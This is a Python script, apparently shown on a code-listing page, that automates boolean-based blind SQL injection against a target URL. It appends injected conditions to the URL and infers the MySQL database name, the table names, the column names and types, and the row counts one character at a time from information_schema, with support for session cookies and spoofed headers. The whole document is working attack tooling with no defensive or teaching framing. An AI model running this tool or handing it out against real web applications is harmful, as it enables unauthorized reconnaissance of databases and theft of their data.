|
#!/usr/bin/env python3 |
|
|
|
from userpass import unique |
|
import requests |
|
import argparse, logging, string |
|
|
|
if __name__ == '__main__': |
|
logging.basicConfig(format='%(asctime)s:%(levelname)s:%(filename)s:%(lineno)d:%(funcName)s:%(message)s', level=logging.INFO) |
|
|
|
parser = argparse.ArgumentParser() |
|
parser.add_argument('url') |
|
parser.add_argument('--cookie', '-c', action='append') |
|
parser.add_argument('--referer', '-r') |
|
parser.add_argument('--useragent', '-u') |
|
parser.add_argument('--punctuation', '-p', action='store_true') |
|
parser.add_argument('--debug', '-d', action='store_true') |
|
args = parser.parse_args() |
|
|
|
if args.debug: |
|
logging.getLogger().setLevel(logging.DEBUG) |
|
|
|
cookies = dict([cookie.split('=', 1) for cookie in args.cookie]) if args.cookie else None |
|
|
|
headers = {} |
|
if args.referer: |
|
headers['Referer'] = args.referer |
|
if args.useragent: |
|
headers['User-Agent'] = args.useragent |
|
|
|
def bruteforce(field, values): |
|
results = [] |
|
for v in values: |
|
resp = requests.get(args.url + field.format(v), cookies=cookies, headers=headers) |
|
results += [(v, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)] |
|
logging.debug('result = %r', results[-1]) |
|
|
|
return unique(results) |
|
|
|
# Determine the length of the database name |
|
|
|
length = bruteforce(' and length(database()) = {}', list(range(50))) |
|
logging.info('database name length determined to be %u', length) |
|
|
|
# Progressively determine the bytes of the database name |
|
|
|
database = '' |
|
for n in range(1, length + 1): |
|
# Database names are not case-sensitive (at least for mysql) |
|
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')] |
|
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')] |
|
|
|
char = bruteforce(' and substr(database(), {}, 1) = "{{}}"'.format(n), chars) |
|
logging.debug('char %u (of %u) determined to be %c', n, length, char) |
|
database += char |
|
|
|
logging.info('database name determined to be %s', database) |
|
|
|
# Determine the number of tables in the database |
|
|
|
ntables = bruteforce(''' and (select count(*) |
|
from information_schema.tables |
|
where table_schema=database()) = {} |
|
''', |
|
list(range(50))) |
|
logging.info('number of tables determined to be %u', ntables) |
|
|
|
for n in range(ntables): |
|
# Determine the length of the table name |
|
|
|
length = bruteforce(''' and (select length(table_name) |
|
from information_schema.tables |
|
where table_schema=database() |
|
order by table_name limit 1 offset {}) = {{}} |
|
'''.format(n), |
|
list(range(50))) |
|
logging.info('table %u name length determined to be %u', n, length) |
|
|
|
# Progressively determine the bytes of the table name |
|
|
|
table = '' |
|
for p in range(1, length + 1): |
|
# Table names are not case-sensitive (at least for mysql) |
|
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')] |
|
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')] |
|
|
|
char = bruteforce(''' and (select substr(table_name, {}, 1) |
|
from information_schema.tables |
|
where table_schema=database() |
|
order by table_name limit 1 offset {}) = "{{}}" |
|
'''.format(p, n), |
|
chars) |
|
logging.debug('char %u (of %u) determined to be %c', p, length, char) |
|
table += char |
|
|
|
logging.info('table %u name determined to be %s', n, table) |
|
|
|
# Determine the number of columns in the table |
|
|
|
ncolumns = bruteforce(''' and (select count(*) |
|
from information_schema.columns |
|
where table_schema=database() and table_name="{}") = {{}} |
|
'''.format(table), |
|
list(range(50))) |
|
logging.info('table %s (%u) determined to have %u columns', table, n, ncolumns) |
|
|
|
for p in range(ncolumns): |
|
# Determine the length of the column name |
|
|
|
length = bruteforce(''' and (select length(column_name) |
|
from information_schema.columns |
|
where table_schema=database() and table_name="{}" |
|
order by column_name limit 1 offset {}) = {{}} |
|
'''.format(table, p), |
|
list(range(50))) |
|
logging.info('table %s (%u) column %u name length determined to be %u', table, n, p, length) |
|
|
|
# Progressively determine the bytes of the column name |
|
|
|
column = '' |
|
for q in range(1, length + 1): |
|
# Column names are not case-sensitive (at least for mysql) |
|
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')] |
|
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')] |
|
|
|
char = bruteforce(''' and (select substr(column_name, {}, 1) |
|
from information_schema.columns |
|
where table_schema=database() and table_name="{}" |
|
order by column_name limit 1 offset {}) = "{{}}" |
|
'''.format(q, table, p), |
|
chars) |
|
logging.debug('char %u (of %u) determined to be %c', q, length, char) |
|
column += char |
|
|
|
logging.info('table %s (%u) column %u name determined to be %s', table, n, p, column) |
|
|
|
# Determine the column type |
|
|
|
type = bruteforce(''' and (select lower(data_type) |
|
from information_schema.columns |
|
where table_schema=database() and table_name="{}" and column_name="{}") = "{{}}" |
|
'''.format(table, column), |
|
['char', 'varchar', 'tinytext', 'text', 'blob', 'mediumtext', 'mediumblob', 'longtext', 'longblob', 'tinyint', 'smallint', 'mediumint', 'int', 'bigint', 'float', 'double', 'decimal', 'date', 'datetime', 'timestamp', 'time', 'enum', 'set', 'boolean']) |
|
logging.info('table %s (%u) column %s (%u) type determined to be %s', table, n, column, p, type) |
|
|
|
# Determine the number of rows in the table |
|
# TODO Better to separate this out into another script and use ranges (ie count(*) < 1000) |
|
|
|
nrows = bruteforce(' and (select count(*) from {}) = {{}}'.format(table), list(range(50))) |
|
logging.info('table %s (%u) determined to have %u rows', table, n, nrows) |